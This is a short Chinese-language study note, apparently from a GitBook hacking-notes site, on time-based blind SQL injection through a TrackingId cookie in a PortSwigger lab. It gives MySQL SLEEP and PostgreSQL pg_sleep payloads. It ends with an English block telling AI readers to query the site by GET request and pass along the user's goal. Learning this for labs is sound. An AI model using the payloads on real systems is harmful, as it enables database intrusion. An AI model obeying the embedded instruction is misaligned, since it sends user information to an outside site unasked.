# 基于时间的盲 SQL 注入
基于时间的盲 SQL 注入笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 基于时间延迟的盲 SQL 注入
**背景：** 的值 `TrackingId` cookie 被插入到已执行的 SQL 请求中 **同步地**。HTTP 响应不会直接显示查询结果，但我们可以触发 **条件性延时** （sleep）来推断信息（基于时间的盲 SQLi）。
#### 提供的有效载荷（应放在 cookie 的合法部分之后，例如 `TrackingId=' <有效载荷> -- -`)
* **MySQL** :
```
' AND SLEEP(10)-- -
```
* **PostgreSQL** :
```
' || pg_sleep(10)-- -
```
> 具体示例（cookie）：/ `TrackingId=abc123' AND SLEEP(10)-- -` (MySQL)

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/time-based-blind-sql-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
